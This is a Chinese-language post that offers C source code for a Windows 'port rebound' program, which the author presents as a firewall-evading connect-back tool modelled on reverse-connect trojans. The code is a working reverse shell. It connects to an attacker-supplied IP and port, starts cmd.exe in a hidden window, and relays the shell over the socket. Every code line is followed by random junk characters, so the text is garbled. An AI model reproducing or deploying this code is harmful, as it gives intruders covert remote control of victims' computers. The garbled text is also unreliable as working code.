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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i-i}`oN  
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/* ============================== 8 ACY uN\  
Rebound port in Windows NT `aO@N(  
By wind,2006/7 =E"kv!e   
===============================*/ 7{kpx$:_  
#include QigoRB!z#9  
#include Ads<-.R  
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#pragma comment(lib,"wsock32.lib") !Z+*",]_  
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void OutputShell(); U'h[ {ek  
SOCKET sClient; )L(d$N=Bd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'n>3`1E,  
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void main(int argc,char **argv) {P<BJ52=  
{ (8@h F#N1  
WSADATA stWsaData; :ET3&J L  
int nRet; MoKXl?B<  
SOCKADDR_IN stSaiClient,stSaiServer; Oc"'ay(g  
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if(argc != 3) 9(N)MT5F  
{ [o[v"e\w  
printf("Useage:\n\rRebound DestIP DestPort\n"); cmr6,3_  
return; |4p<T! T  
} )/+eL RN5G  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 08K.\3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [:R P9r}  
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stSaiClient.sin_family = AF_INET; FkxhEat8  
stSaiClient.sin_port = htons(0); TReM8Vd  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T^(n+lv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PGv}fEH"  
{ :)J~FVLy  
printf("Bind Socket Failed!\n"); } ^GV(]K  
return; Z#TgFQ3u  
} }eDX8b8emA  
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stSaiServer.sin_family = AF_INET; Z:B Y*#B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c&Su d, &  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D $CY:@  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qK6  uU9z  
{ 32-3C6f@oZ  
printf("Connect Error!"); GdfK xSO  
return; 'De'(I  
} E/L?D  
OutputShell(); P=SxiXsr$  
} 9a~BAH,j  
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void OutputShell() /nMqEHCyg  
{ '/yx_R K2?  
char szBuff[1024]; $ Op/5j  
SECURITY_ATTRIBUTES stSecurityAttributes; eFXi )tl  
OSVERSIONINFO stOsversionInfo; HDW\S#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1:;&wf  
STARTUPINFO stStartupInfo; WJFTy+bD  
char *szShell; qq9tBCk  
PROCESS_INFORMATION stProcessInformation; ` .sIZku  
unsigned long lBytesRead; ^K 77V$v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {z[HNSyRs  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Alk* "p  
stSecurityAttributes.lpSecurityDescriptor = 0; YI),q.3X~  
stSecurityAttributes.bInheritHandle = TRUE; 9 <kkzy  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #;*ai\6>vD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4Tzu"y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0.Ol@fO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =<FZ{4  
stStartupInfo.wShowWindow = SW_HIDE; 3d)+44G_)  
stStartupInfo.hStdInput = hReadPipe; c"sw@<HG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _OxnHf:|  
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GetVersionEx(&stOsversionInfo); |z7Crz  
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switch(stOsversionInfo.dwPlatformId) ;,B@84'  
{ E?q'|f  
case 1: 1'U%7#;E  
szShell = "command.com"; p_40V%y^  
break; ;k41+O:f@  
default: _]r)6RT  
szShell = "cmd.exe"; %"KWjwp  
break; l-h7ksRs  
} OB  i!fLa  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E~g}DKs_5  
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send(sClient,szMsg,77,0); l<K.!z<-:8  
while(1) h }%M  
{ MVL }[J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {FmFu$z+[  
if(lBytesRead) u/:Sf*;?  
{ 53&xTcv}x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \utH*;J|x  
send(sClient,szBuff,lBytesRead,0); dv9Pb5i  
} a5~C:EU0  
else .idl@%  
{ -I-& <+7v  
lBytesRead=recv(sClient,szBuff,1024,0); +VW]%6 +  
if(lBytesRead<=0) break; 2Ku#j ('  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y`@4n.Q  
} yExyx?j.  
} m}'@S+k^  
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return; nT .2jk+  
}
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